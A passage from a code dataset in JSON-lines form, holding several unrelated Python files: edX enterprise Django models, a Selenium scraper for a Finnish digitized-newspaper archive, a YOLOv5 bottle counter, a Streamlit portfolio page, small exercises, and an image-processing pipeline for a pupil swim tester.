\"\"\"\n\n def get_link_by_email(self, user_email):\n \"\"\"\n Return link by email.\n \"\"\"\n try:\n user = User.objects.get(email=user_email)\n try:\n return self.get(user_id=user.id)\n except EnterpriseCustomerUser.DoesNotExist:\n pass\n except User.DoesNotExist:\n pass\n\n try:\n return PendingEnterpriseCustomerUser.objects.get(user_email=user_email)\n except PendingEnterpriseCustomerUser.DoesNotExist:\n pass\n\n return None\n\n def link_user(self, enterprise_customer, user_email):\n \"\"\"\n Link user email to Enterprise Customer.\n\n If :class:`django.contrib.auth.models.User` instance with specified email does not exist,\n :class:`.PendingEnterpriseCustomerUser` instance is created instead.\n \"\"\"\n try:\n existing_user = User.objects.get(email=user_email)\n self.create(enterprise_customer=enterprise_customer, user_id=existing_user.id)\n except User.DoesNotExist:\n PendingEnterpriseCustomerUser.objects.create(enterprise_customer=enterprise_customer, user_email=user_email)\n\n def unlink_user(self, enterprise_customer, user_email):\n \"\"\"\n Unlink user email from Enterprise Customer.\n\n If :class:`django.contrib.auth.models.User` instance with specified email does not exist,\n :class:`.PendingEnterpriseCustomerUser` instance is deleted instead.\n\n Raises EnterpriseCustomerUser.DoesNotExist if instance of :class:`django.contrib.auth.models.User` with\n specified email exists and corresponding :class:`.EnterpriseCustomerUser` instance does not.\n\n Raises PendingEnterpriseCustomerUser.DoesNotExist exception if instance of\n :class:`django.contrib.auth.models.User` with specified email exists and corresponding\n :class:`.PendingEnterpriseCustomerUser` instance does not.\n \"\"\"\n try:\n existing_user = User.objects.get(email=user_email)\n # not capturing DoesNotExist intentionally to signal to view that link does not exist\n link_record = self.get(enterprise_customer=enterprise_customer, user_id=existing_user.id)\n link_record.delete()\n except User.DoesNotExist:\n # not capturing DoesNotExist intentionally to signal to view that link does not exist\n pending_link = PendingEnterpriseCustomerUser.objects.get(\n enterprise_customer=enterprise_customer, user_email=user_email\n )\n pending_link.delete()\n\n\n@python_2_unicode_compatible\nclass EnterpriseCustomerUser(TimeStampedModel):\n \"\"\"\n Model that keeps track of user - enterprise customer affinity.\n\n Fields:\n enterprise_customer (ForeignKey[:class:`.EnterpriseCustomer`]): enterprise customer\n user_id (:class:`django.db.models.IntegerField`): user identifier\n \"\"\"\n\n enterprise_customer = models.ForeignKey(EnterpriseCustomer, blank=False, null=False)\n user_id = models.PositiveIntegerField(null=False, blank=False)\n\n objects = EnterpriseCustomerUserManager()\n\n class Meta(object):\n verbose_name = _(\"Enterprise Customer User\")\n verbose_name_plural = _(\"Enterprise Customer Users\")\n unique_together = ((\"enterprise_customer\", \"user_id\"),)\n\n @property\n def user(self):\n \"\"\"\n Return User associated with this instance.\n\n Return :class:`django.contrib.auth.models.User` instance associated with this\n :class:`EnterpriseCustomerUser` instance via email.\n \"\"\"\n try:\n return User.objects.get(pk=self.user_id)\n except User.DoesNotExist:\n return None\n\n @property\n def user_email(self):\n \"\"\"\n Return linked user email.\n \"\"\"\n if self.user is not None:\n return self.user.email\n return None\n\n def __str__(self):\n \"\"\"\n Return human-readable string representation.\n \"\"\"\n return \": {enterprise_name} - {user_id}\".format(\n ID=self.id,\n enterprise_name=self.enterprise_customer.name,\n user_id=self.user_id,\n )\n\n def __repr__(self):\n \"\"\"\n Return uniquely identifying string representation.\n \"\"\"\n return self.__str__()\n\n\n@python_2_unicode_compatible\nclass PendingEnterpriseCustomerUser(TimeStampedModel):\n \"\"\"\n Model that stores \"future members\" of enterprise customer.\n\n Fields:\n enterprise_customer (ForeignKey[:class:`.EnterpriseCustomer`]): enterprise customer\n user_email (:class:`django.db.models.EmailField`): user email\n \"\"\"\n\n enterprise_customer = models.ForeignKey(EnterpriseCustomer, blank=False, null=False)\n user_email = models.EmailField(null=False, blank=False, unique=True)\n\n def __str__(self):\n \"\"\"\n Return human-readable string representation.\n \"\"\"\n return \": {enterprise_name} - {user_email}\".format(\n ID=self.id,\n enterprise_name=self.enterprise_customer.name,\n user_email=self.user_email,\n )\n\n def __repr__(self):\n \"\"\"\n Return uniquely identifying string representation.\n \"\"\"\n return self.__str__()\n\n\ndef logo_path(instance, filename):\n \"\"\"\n Delete the file if it already exist and returns the enterprise customer logo image path.\n\n Arguments:\n instance (:class:`.EnterpriseCustomerBrandingConfiguration`): EnterpriseCustomerBrandingConfiguration object\n filename (str): file to upload\n\n Returns:\n path: path of image file e.g. enterprise/branding//_logo..lower()\n \"\"\"\n extension = os.path.splitext(filename)[1].lower()\n instance_id = str(instance.id)\n fullname = os.path.join(\"enterprise/branding/\", instance_id, instance_id + \"_logo\" + extension)\n if default_storage.exists(fullname):\n default_storage.delete(fullname)\n return fullname\n\n\n@python_2_unicode_compatible\nclass EnterpriseCustomerBrandingConfiguration(TimeStampedModel):\n \"\"\"\n Model that keeps track of enterprise branding configurations e.g. enterprise customer logo.\n\n Fields:\n enterprise_customer (ForeignKey[EnterpriseCustomer]): enterprise customer\n logo (ImageField): enterprise customer image\n \"\"\"\n\n enterprise_customer = models.OneToOneField(\n EnterpriseCustomer,\n blank=False,\n null=False,\n related_name=\"branding_configuration\"\n )\n logo = models.ImageField(\n upload_to=logo_path,\n help_text=_(u\"Please add only .PNG files for logo images.\"),\n null=True, blank=True, max_length=255,\n validators=[validate_image_extension, validate_image_size]\n )\n\n class Meta:\n \"\"\"Meta class for this Django model.\"\"\"\n\n verbose_name = _(\"Branding Configuration\")\n verbose_name_plural = _(\"Branding Configurations\")\n\n def save(self, *args, **kwargs):\n \"\"\"Save the enterprise customer branding config.\"\"\"\n if self.pk is None:\n logo_image = self.logo\n self.logo = None\n super(EnterpriseCustomerBrandingConfiguration, self).save(*args, **kwargs)\n self.logo = logo_image\n\n super(EnterpriseCustomerBrandingConfiguration, self).save(*args, **kwargs)\n\n def __str__(self):\n \"\"\"\n Return human-readable string representation.\n \"\"\"\n return \": {enterprise_name}\".format(\n ID=self.id,\n enterprise_name=self.enterprise_customer.name,\n )\n\n def __repr__(self):\n \"\"\"\n Return uniquely identifying string representation.\n \"\"\"\n return self.__str__()\n\n\n@python_2_unicode_compatible\nclass EnterpriseCustomerIdentityProvider(TimeStampedModel):\n \"\"\"\n EnterpriseCustomerIdentityProvider is a One to One relationship between Enterprise Customer and Identity Provider.\n\n There should be a link between an enterprise customer and its Identity Provider. This relationship has\n following constraints\n 1. An enterprise customer may or may not have an identity provider.\n 2. An enterprise customer can not have more than one identity providers.\n 3. Enterprise customer site should match with identity provider's site. (i.e. same domain names)\n\n Fields:\n enterprise_customer (ForeignKey[EnterpriseCustomer]): enterprise customer\n provider_id (:class:`django.db.models.SlugField`): The provider_id string of the identity provider.\n \"\"\"\n\n enterprise_customer = models.OneToOneField(\n EnterpriseCustomer,\n blank=False,\n null=False,\n related_name=\"enterprise_customer_identity_provider\"\n )\n provider_id = models.SlugField(\n null=False,\n blank=False,\n unique=True,\n help_text=\"Slug field containing a unique identifier for the identity provider.\",\n )\n\n def __str__(self):\n \"\"\"\n Return human-readable string representation.\n \"\"\"\n return \": {enterprise_name}\".format(\n provider_id=self.provider_id,\n enterprise_name=self.enterprise_customer.name,\n )\n\n def __repr__(self):\n \"\"\"\n Return uniquely identifying string representation.\n \"\"\"\n return self.__str__()\n\n @property\n def provider_name(self):\n \"\"\"\n Readable name for the identity provider.\n \"\"\"\n identity_provider = utils.get_identity_provider(self.provider_id)\n return identity_provider and identity_provider.name\n\n\n@python_2_unicode_compatible\nclass UserDataSharingConsentAudit(TimeStampedModel):\n \"\"\"\n Store consent information for an EnterpriseCustomerUser.\n\n Object that exists to store the canonical state of whether a particular\n user has given consent for their course data to be shared with a particular\n enterprise customer.\n \"\"\"\n\n class Meta(object):\n app_label = 'enterprise'\n verbose_name = \"Data Sharing Consent Audit State\"\n verbose_name_plural = \"Data Sharing Consent Audit States\"\n\n NOT_SET = 'not_set'\n ENABLED = 'enabled'\n DISABLED = 'disabled'\n STATE_CHOICES = (\n (NOT_SET, 'Not set'),\n (ENABLED, 'Enabled'),\n (DISABLED, 'Disabled'),\n )\n\n user = models.ForeignKey(EnterpriseCustomerUser)\n\n state = models.CharField(\n max_length=8,\n blank=False,\n choices=STATE_CHOICES,\n default=NOT_SET,\n help_text=_(\n \"Stores whether the user linked to this model has consented to have \"\n \"their information shared with the linked EnterpriseCustomer.\"\n )\n )\n\n history = HistoricalRecords()\n\n @property\n def enabled(self):\n \"\"\"\n Determine whether the user has enabled data sharing.\n \"\"\"\n return self.state == self.ENABLED\n\n def __str__(self):\n \"\"\"\n Return human-readable string representation.\n \"\"\"\n return ''.format(\n self.user.user_email,\n self.user.enterprise_customer.name,\n self.state,\n )\n\n def __repr__(self):\n \"\"\"\n Return uniquely identifying string representation.\n \"\"\"\n return self.__str__()\n","repo_name":"luckyjd/lms_edx","sub_path":"edx-ficus.3-3/apps/edx/venvs/edxapp/lib/python2.7/site-packages/enterprise/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":17333,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"19071063184","text":"# http://thiagomarzagao.com/2013/11/14/webscraping-with-selenium-part-2/\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nimport os\nimport random\nimport time\nimport datetime\nfrom pyvirtualdisplay import Display\nimport glob\nfrom digi_selenium_scraper_common_functions import (\n convert_day_or_month_to_str,\n # convert_day_or_month_range_to_str,\n get_datetime_from_arg,\n csv_from_excel)\nimport getopt\nimport sys\n\n\ndef fetch_csv_for_day(year, month, day, browser,\n material_type='journals',\n temp_down_dir='download_temp/',\n output_dir='output/test/'):\n\n month = convert_day_or_month_to_str(month)\n day = convert_day_or_month_to_str(day)\n\n if material_type == 'journals':\n material_url = 'aikakausi'\n else:\n material_url = 'sanomalehti'\n\n url_start = ('http://digi.kansalliskirjasto.fi/' + material_url +\n '/search?query=&requireAllKeywords=true' +\n '&fuzzy=false&hasIllustrations=false&startDate=')\n url_mid = '&endDate='\n url_end = '&orderBy=DATE&pages=&resultMode=TEXT&page=1'\n url_date = '-'.join([str(year), str(month), str(day)])\n url_to_process = url_start + url_date + url_mid + url_date + url_end\n\n savedir = (output_dir +\n ('/'.join([str(year), str(month), str(day)])))\n if not os.path.exists(savedir):\n os.makedirs(savedir)\n\n browser.get(url_to_process)\n\n try:\n download_button = browser.find_element_by_xpath(\n '//*[@ng-if=\"ctrl.excelDownloadUrl\"]')\n download_button.click()\n\n expected_filename = (\"serial-publications--\" +\n str(year) + str(month) + str(day) + '-' +\n str(year) + str(month) + str(day) +\n \".xlsx\")\n while not glob.glob(temp_down_dir + expected_filename):\n time.sleep(1)\n print(\" Waiting 1 sec for download to finish...\")\n\n orig_file = temp_down_dir + expected_filename\n new_filename = (savedir + \"/\" + material_type +\n '-' + url_date + \".xlsx\")\n os.rename(orig_file, new_filename)\n\n new_csv_filename = (savedir + \"/\" + material_type +\n '-' + url_date + \".csv\")\n csv_from_excel(new_filename,\n new_csv_filename)\n\n except NoSuchElementException:\n print(\" No Results!\")\n empty_date_filename = savedir + \"/\" + material_type + \"_empty.txt\"\n with open(empty_date_filename, 'w') as emptyfile:\n emptyfile.write(\"no hits for this date!\")\n\n\ndef get_elapsed_time_str(start_time):\n elapsed_time = int(time.time() - start_time)\n sensible_elapsed_time = str(\n datetime.timedelta(seconds=elapsed_time))\n return(sensible_elapsed_time)\n\n\ndef get_start_params(argv):\n start_date = '1911-01-01'\n end_date = '1920-01-01'\n material_type = 'journals'\n output_dir = 'output/test/'\n\n try:\n opts, args = getopt.getopt(argv, \"\",\n [\"start_date=\",\n \"end_date=\",\n \"material_type=\",\n \"output_dir=\"]\n )\n except getopt.GetoptError:\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == \"--start_date\":\n start_date = arg\n elif opt == \"--end_date\":\n end_date = arg\n elif opt == \"--material_type\":\n material_type = arg\n elif opt == \"--output_dir\":\n output_dir = arg\n\n return(start_date, end_date, material_type, output_dir)\n\n\nstart_time = time.time()\ndisplay = Display(visible=0, size=(800, 600))\ndisplay.start()\n\n\n# year_list = list(range(1911, 1912))\n# month_list = list(range(1, 13))\n\n\ntemp_down_dir = 'download_temp/'\ndowndir = os.path.join(os.getcwd(), temp_down_dir)\n\n\nprefs = {'download.default_directory': downdir}\nchrome_options = webdriver.ChromeOptions()\nchrome_options.add_experimental_option('prefs', prefs)\nbrowser = webdriver.Chrome(chrome_options=chrome_options)\nbrowser.implicitly_wait(60)\nbrowser.set_window_size(800, 600)\n\n\n(start_date,\n end_date,\n material_type,\n output_dir) = get_start_params(sys.argv[1:])\n\nprint(\"Scraping from \" + start_date + \" to \" + end_date)\nstart_datetime = get_datetime_from_arg(start_date)\nend_datetime = get_datetime_from_arg(end_date)\nscraping_datetime = start_datetime\n\n\nwhile scraping_datetime <= end_datetime:\n print(\"Scraping date: \" + str(scraping_datetime))\n fetch_csv_for_day(year=scraping_datetime.year,\n month=scraping_datetime.month,\n day=scraping_datetime.day,\n browser=browser,\n material_type=material_type,\n output_dir=output_dir)\n print(\" \" + get_elapsed_time_str(start_time) + \" -> done.\")\n seconds = random.random() * 2\n time.sleep(seconds)\n scraping_datetime = scraping_datetime + datetime.timedelta(days=1)\n\n# for year in year_list:\n# for month in month_list:\n# day_list = get_daylist_for_month(year, month)\n# for day in day_list:\n# seconds = random.random() * 5\n# time.sleep(seconds)\n# month_str = convert_day_or_month_to_str(month)\n# timestamp_str = '-'.join([str(year), month_str, day])\n# print(\"Scraping date: \" + timestamp_str)\n# fetch_csv_for_day(year, month_str, day, browser,\n# material_type='journals',\n# output_dir='output/test/')\n# print(\" \" + get_elapsed_time_str(start_time) + \" -> done.\")\n\nprint(\"\")\nprint(\"----------------------------------------------\")\nprint(\" All done in \" + get_elapsed_time_str(start_time))\nprint(\"----------------------------------------------\")\n\n\nbrowser.quit()\ndisplay.stop()\n\n# usage:\n# python digi_selenium_scraper_xls.py --start_date 1911-01-01 --end_date 1920-12-31 --material_type journals --output_dir output/scrape_results/\n","repo_name":"villevaara/digi-scraper","sub_path":"digi-sele/digi_selenium_scraper_xls.py","file_name":"digi_selenium_scraper_xls.py","file_ext":"py","file_size_in_byte":6132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72627973954","text":"def bucket_sort(l):\n bucket_number = 3\n\n buckets = [[] for _ in range(bucket_number)]\n\n print(buckets)\n\n result = []\n for bucket in buckets:\n result += bucket\n\n return result\n\n\nprint(bucket_sort([1, 5, 3]))\n","repo_name":"EmeraldGames3/Python","sub_path":"S11/bucketSort.py","file_name":"bucketSort.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24691678307","text":"#import string\n\n#a = []\n#for letter in string.ascii_lowercase:\n #f = open(\"Letters/\" + letter+\".txt\", \"r\")\n #a.append(f.read())\n # f.close()\n\n#print(a)\n\nimport glob\n\nletters= []\nfile_list = glob.glob(\"Letters/*.txt\")\n\nfor filename in file_list:\n with open(filename, \"r\") as file:\n letters.append(file.read().strip(\"\\n\"))\n\n\nprint(letters)","repo_name":"mygit20031984/py100exercises","sub_path":"26_50/46.py","file_name":"46.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72995355394","text":"import torch\nimport cv2\nimport numpy as np\n\nconfidence = 0\nnum_bottles = 0\n# Load the YOLOv5 model\nmodel = torch.hub.load('ultralytics/yolov5', 'custom', path='./best.pt')\n\n# Load the input image\nimg= './test.jpeg'\n\n\nresults = model(img)\nimg1 = cv2.imread(img)\n\n\n# Results\nboxes = results.xyxy[0].numpy()\nlabels = results.names[0]\nscores = results.xyxyn[0][:, 4].numpy()\n\n\nfor box, score in zip(boxes, scores):\n if score >= confidence:\n x1, y1, x2, y2, _ , _ = box\n x1, y1, x2, y2, _ , _ = box\n color = (0, 255, 0)\n thickness = 2\n # text = f\"{labels}: {score:.2f}\"\n cv2.rectangle(img1, (int(x1), int(y1)), (int(x2), int(y2)), color, thickness)\n # cv2.putText(img1, text, (int(x1), int(y1) - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, thickness)\n num_bottles = num_bottles + 1\n\ncv2.putText(img1, f'Number of Bottles: {num_bottles}', (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\ncv2.imshow('Image', img1)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"fahamidur/Cocacola-bottle-detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34536661419","text":"import streamlit as st\nimport csv\n\n#setup layout\n#print(\"Monkey\")\nst.set_page_config(layout=\"wide\")\ncol1, col2 = st.columns(2)\nst.write(\"Testtext\")\ncol3, col4 = st.columns(2)\n#create header with photo, description, short text\nwith col1:\n st.image(\"images/photo.png\", width=500)\nwith col2:\n st.title(\"Bastian Hörger\")\n selfdescription = \"\"\"\n This is a placeholder for text about me!\n \"\"\"\n st.info(selfdescription)\n\n\n#iterate over data.csv to create the different app-tabs\n\nwith open(\"data.csv\", newline=\"\") as datafile:\n datacontent = csv.reader(datafile, delimiter=\";\")\n datacontentlength = sum(1 for line in datacontent)\n print(\"Datacontentlength is \" + str(datacontentlength))\n\nprint(\"Johnny\")\nwith open(\"data.csv\", newline=\"\") as datafile:\n datacontent = csv.reader(datafile, delimiter=\";\")\n linecount = 0\n #print(type(datacontent))\n for row in datacontent:\n if linecount == 0:\n print(f'The columns are structured {\", \".join(row)}')\n #print(\"Johnson\")\n linecount += 1\n elif linecount < datacontentlength/2:\n with col3:\n st.title(f\"{row[0]}\")\n st.image(f\"images/{row[3]}\", width=400)\n st.write(f\"{row[1]}\")\n st.write(f\"{row[2]}\")\n #print(f'Titless is {row[0]}. Description is {row[1]}, URL is {row[2]}, image is {row[3]}' + f'first half number is {linecount}')\n linecount += 1\n else:\n with col4:\n st.title(f\"{row[0]}\")\n st.image(f\"images/{row[3]}\", width=400)\n st.write(f\"{row[1]}\")\n st.write(f\"{row[2]}\")\n print(f'The number is {linecount}')\n linecount += 1\n","repo_name":"Bastimoo/portfolio_site","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25948110188","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nPupil Swim Tester (PST) Algorithm Entry Point -- Parallel Version. \n\nRuns on multiple core CPUs for faster processing. \n\n@author: melshaer0612@meta.com\n\nUsage:\n pst-cli.py -h\n pst-cli.py -d [-p ]\n \nOptions:\n -h Display usage help message\n -d --dataset Supply name of dataset to be processed\n -p --params Supply JSON file containing parameters to be used for processing\n \n \n\"\"\"\n\nimport time\n\nstart_time = time.monotonic()\n\nimport os\nimport sys\nimport getopt\nimport glob\nimport re\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport csv\nimport logging\nimport psutil\nimport multiprocessing as mp\nimport algo.blobs as blobs\nimport algo.kpi as kpi\nimport config.config as cf\n\nfrom tqdm import tqdm\nfrom time import sleep\n\nfrom functools import partial\nfrom datetime import timedelta\nfrom logging.handlers import QueueHandler\nfrom config.logging import setup_logger, logger_process\n\n\nsys.dont_write_bytecode = True # Disables __pycache__\n\n\ndef pipeline(queue, df_lst, df_frame_lst, frame_nums, maps_xy, maps_dxdy, output_path, params, image_file):\n #------Logging------\n logger = logging.getLogger(__name__)\n if not logger.hasHandlers():\n logger.addHandler(QueueHandler(queue))\n logger.setLevel(logging.DEBUG)\n \n frame_num = ((image_file.split(os.path.sep)[-1].split('_'))[-1].split('.tiff'))[0]\n frame_nums.append(frame_num)\n \n image = cv2.imread(image_file)\n if params['driver'] == 'MODEL':\n pass\n elif params['driver'] == 'FATP': # rotate 180 deg as FATP is mounted upside down\n image = np.rot90(image, 2) \n \n logger.info('Frame %s : %s Processing started', frame_num, params['driver'])\n height, width, _ = image.shape\n \n fov_dot = blobs.find_fov(image, params, logger, frame_num, height, width)\n logger.info('Frame %s : FOV dot was found at %s', frame_num, fov_dot.__str__())\n \n # Mask the detected FOV dot\n image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n mask = np.zeros_like(image_gray)\n cv2.circle(mask, (int(fov_dot.x), int(fov_dot.y)), int(np.sqrt(fov_dot.size / np.pi) + 7), 255, -1)\n image_gray = cv2.bitwise_and(image_gray, cv2.bitwise_not(mask))\n # cv2.imwrite(os.path.join(output_path, frame_num+'_no_fov.jpeg'), image_gray, [cv2.IMWRITE_JPEG_QUALITY, 40]) \n \n frame = blobs.find_dots(image_gray, params)\n logger.info('Frame %s : Finding dots is complete, found %d dots', frame_num, len(frame.dots))\n \n frame.center_dot = blobs.find_center_dot(frame.dots, height, width)\n logger.info('Frame %s : Center dot was found at %s', frame_num, frame.center_dot.__str__())\n \n blobs.draw_dots(image, [fov_dot, frame.center_dot], os.path.join(output_path, frame_num+'_fov_center_dots.jpeg')) # For debugging center and FOV dot detection\n # blobs.draw_dots(image, frame.dots, os.path.join(output_path, frame_num+'_dots.jpeg')) # For debugging blob detection\n \n med_size, med_dist = frame.calc_dot_size_dist()\n logger.info('Frame %s Dot Size: %0.2f Distance: %0.2f', frame_num, med_size, med_dist)\n \n logger.info('Starting slope calculations for frame %s', frame_num)\n proc = blobs.prep_image(image, params, normalize_and_filter=True, binarize=False)\n init_hor_slope, init_ver_slope, hor_dist_error, ver_dist_error = blobs.get_initial_slopes(proc, height, width, ratio=0.3)\n hor_slope, ver_slope = frame.get_slopes(init_hor_slope, init_ver_slope, hor_dist_error, ver_dist_error)\n logger.info('Frame %s HSlope: %0.2f VSlope: %0.2f', frame_num, hor_slope, ver_slope)\n \n hor_lines, ver_lines = frame.group_lines()\n # frame.draw_lines_on_image(image, width, height, filepath=os.path.join(output_path, frame_num+'_grouped.jpeg'))\n frame.find_index(logger, frame_num)\n logger.info('Finished indexing calculations for frame %s', frame_num)\n \n # generate maps\n frame.generate_map_xy(logger, frame_num)\n maps_xy[frame_num] = frame.map_xy\n frame.generate_map_dxdy(params['dxdy_spacing']) #4x spacing\n maps_dxdy[frame_num] = frame.map_dxdy\n \n # Prepare to save results\n x, y, xi, yi, size = [], [], [], [], []\n xpts = [dot.x for dot in frame.dots]\n ypts = [dot.y for dot in frame.dots]\n sizepts = [dot.size for dot in frame.dots]\n \n for xpt, ypt, sizept in list(zip(xpts, ypts, sizepts)):\n x.append(xpt)\n y.append(ypt)\n size.append(sizept)\n if (xpt, ypt) in frame.dotsxy_indexed:\n xi.append(frame.dotsxy_indexed[(xpt, ypt)][0][0])\n yi.append(frame.dotsxy_indexed[(xpt, ypt)][0][1]) \n else:\n xi.append(np.nan)\n yi.append(np.nan) \n \n # Write results to dataframe\n mini_df_frame = pd.DataFrame({'frame_num': frame_num,\n 'total_dots' : len(frame.dots),\n 'center_dot_x' : frame.center_dot.x, 'center_dot_y' : frame.center_dot.y,\n 'fov_dot_x' : fov_dot.x, 'fov_dot_y' : fov_dot.y,\n 'median_dot_size' : med_size, 'median_dot_spacing' : med_dist,\n 'hor_slope' : hor_slope, 'ver_slope' : ver_slope,\n 'dxdy_spacing' : params['dxdy_spacing'], 'map_x_shift' : params['map_x_shift'],\n 'map_y_shift' : params['map_y_shift']}, index=[0])\n \n mini_df = pd.DataFrame({'frame_num' : frame_num, 'x' : x, 'y' : y, 'size' : size, 'xi' : xi, 'yi' : yi})\n \n df_frame_lst.append(mini_df_frame)\n df_lst.append(mini_df)\n \n \nif __name__ == '__main__':\n multiprocessing.freeze_support() # For Windows Binary Development\n current_path = os.getcwd()\n dataset_folder = ''\n params_file = ''\n opts, args = getopt.getopt(sys.argv[1:],'hd:p:')\n \n for opt, arg in opts:\n if opt == '-h':\n print ('exe -d -p ')\n sys.exit()\n elif opt in ('-d', '--dataset'):\n dataset_folder = arg\n elif opt in ('-p', '--params'):\n params_file = arg\n \n print ('Dataset: ', os.path.join(current_path, 'data', dataset_folder))\n print ('Parameters File: ', os.path.join(current_path, 'config', params_file))\n \n params = cf.config(dataset_folder, params_file)\n \n log_file = os.path.join(cf.output_path, 'Log_' + time.strftime('%Y%m%d-%H%M%S') + '.log')\n csv_file = os.path.join(cf.output_path, time.strftime('%Y%m%d-%H%M%S') + '_dots.csv')\n csv_file_frame = os.path.join(cf.output_path, time.strftime('%Y%m%d-%H%M%S') + '_frames.csv')\n csv_file_summary = os.path.join(cf.output_path, time.strftime('%Y%m%d-%H%M%S') + '_summary.csv')\n \n logger = setup_logger(filename=log_file)\n \n image_files_all = glob.glob(cf.input_path + '*.tiff')\n image_files_all.sort(key=lambda f: int(re.sub('\\D', '', f)))\n \n if params['num_frames'] == 10:\n frame_num_list = ['15', '60', '70', '75', '80', '85', '90', '95', '105', '150']\n image_files = [image_file for image_file in image_files_all \n if ((image_file.split(os.path.sep)[-1].split('_'))[-1].split('.tiff'))[0] in frame_num_list]\n elif params['num_frames'] == 16:\n frame_num_list = ['15', '30', '45', '60', '65', '70', '75', '80', '85', '90', '95', '100', '105', '120', '135', '150']\n image_files = [image_file for image_file in image_files_all \n if ((image_file.split(os.path.sep)[-1].split('_'))[-1].split('.tiff'))[0] in frame_num_list]\n else:\n image_files = image_files_all[::int(np.ceil(len(image_files_all) / 10))] # only take 10 images\n \n frame_nums = mp.Manager().list()\n maps_xy_dct = mp.Manager().dict()\n maps_dxdy_dct = mp.Manager().dict()\n df_lst = mp.Manager().list()\n df_frame_lst = mp.Manager().list()\n \n queue = mp.Manager().Queue()\n listener = mp.Process(target=logger_process, args=(queue, setup_logger, log_file))\n listener.start()\n \n pool = mp.Pool(processes=mp.cpu_count())\n\n start = time.perf_counter()\n pipeline_partial = partial(pipeline, queue, df_lst, df_frame_lst, frame_nums, maps_xy_dct, maps_dxdy_dct, cf.output_path, params)\n pool.map(pipeline_partial, image_files)\n print(f'Blob Detection time: {round(time.perf_counter() - start, 2)}')\n df = pd.concat(df_lst, ignore_index=True)\n df_frame = pd.concat(df_frame_lst, ignore_index=True)\n print(frame_nums)\n \n queue.put(None) \n listener.join()\n\n df_frame.sort_values(by='frame_num', key=lambda x: x.astype('int'), inplace=True, ignore_index=True)\n df_frame['index'] = np.arange(len(df_frame.index))\n \n maps_xy_sorted = sorted(maps_xy_dct.items(), key=lambda x: int(x[0]))\n maps_xy = [x[1] for x in maps_xy_sorted]\n maps_dxdy_sorted = sorted(maps_dxdy_dct.items(), key=lambda x: int(x[0]))\n maps_dxdy = [x[1] for x in maps_dxdy_sorted]\n \n # Add two reference images\n overlay_file = os.path.join(cf.input_path, '1000.tiff')\n no_overlay_file = os.path.join(cf.input_path, '1001.tiff')\n \n if os.path.isfile(overlay_file) and os.path.isfile(no_overlay_file):\n new_proc = True\n else:\n new_proc = False\n \n # New Procedure\n if new_proc:\n logger = logging.getLogger(__name__)\n logger.info('Frame %s : %s Processing started', '1000', params['driver'])\n \n # Find FOV dot in overlay_image\n overlay_image = cv2.imread(overlay_file)\n if params['driver'] == 'MODEL':\n pass\n elif params['driver'] == 'FATP': # rotate 180 deg as FATP is mounted upside down\n overlay_image = np.rot90(overlay_image, 2) \n \n overlay_height, overlay_width, _ = overlay_image.shape\n \n fov_dot_overlay = blobs.find_fov(overlay_image, params, logger, '1000', overlay_height, overlay_width)\n logger.info('Frame %s : FOV dot was found at %s', '1000', fov_dot_overlay.__str__())\n \n # Find dots in no_overlay_image\n no_overlay_image = cv2.imread(no_overlay_file)\n if params['driver'] == 'MODEL':\n pass\n elif params['driver'] == 'FATP': # rotate 180 deg as FATP is mounted upside down\n no_overlay_image = np.rot90(no_overlay_image, 2) \n \n no_overlay_height, no_overlay_width, _ = no_overlay_image.shape\n \n no_overlay_frame = blobs.find_dots(no_overlay_image, params)\n logger.info('Frame %s : Finding dots is complete, found %d dots', '1001', len(no_overlay_frame.dots))\n \n no_overlay_frame.center_dot = blobs.find_center_dot(no_overlay_frame.dots, no_overlay_height, no_overlay_width)\n logger.info('Frame %s : Center dot was found at %s', '1001', no_overlay_frame.center_dot.__str__())\n \n blobs.draw_dots(overlay_image, [fov_dot_overlay, no_overlay_frame.center_dot], os.path.join(cf.output_path, '1000-1001_fov_center_dots.jpeg')) # For debugging center and FOV dot detection\n blobs.draw_dots(no_overlay_image, no_overlay_frame.dots, os.path.join(cf.output_path, '1001_dots.jpeg')) # For debugging blob detection\n \n no_overlay_med_size, no_overlay_med_dist = no_overlay_frame.calc_dot_size_dist()\n logger.info('Frame %s Dot Size: %0.2f Distance: %0.2f', '1001', no_overlay_med_size, no_overlay_med_dist)\n \n logger.info('Starting slope calculations for frame %s', '1001')\n no_overlay_proc = blobs.prep_image(no_overlay_image, params, normalize_and_filter=True, binarize=False)\n no_overlay_init_hor_slope, no_overlay_init_ver_slope, no_overlay_hor_dist_error, no_overlay_ver_dist_error = blobs.get_initial_slopes(no_overlay_proc, no_overlay_height, no_overlay_width, ratio=0.3)\n no_overlay_hor_slope, no_overlay_ver_slope = no_overlay_frame.get_slopes(no_overlay_init_hor_slope, no_overlay_init_ver_slope, no_overlay_hor_dist_error, no_overlay_ver_dist_error)\n logger.info('Frame %s HSlope: %0.2f VSlope: %0.2f', '1001', no_overlay_hor_slope, no_overlay_ver_slope)\n \n no_overlay_hor_lines, no_overlay_ver_lines = no_overlay_frame.group_lines()\n no_overlay_frame.find_index(logger, '1001')\n logger.info('Finished indexing calculations for frame %s', '1001')\n \n no_overlay_frame.generate_map_xy(logger, '1001')\n no_overlay_frame.generate_map_dxdy(params['dxdy_spacing']) #4x spacing\n\n 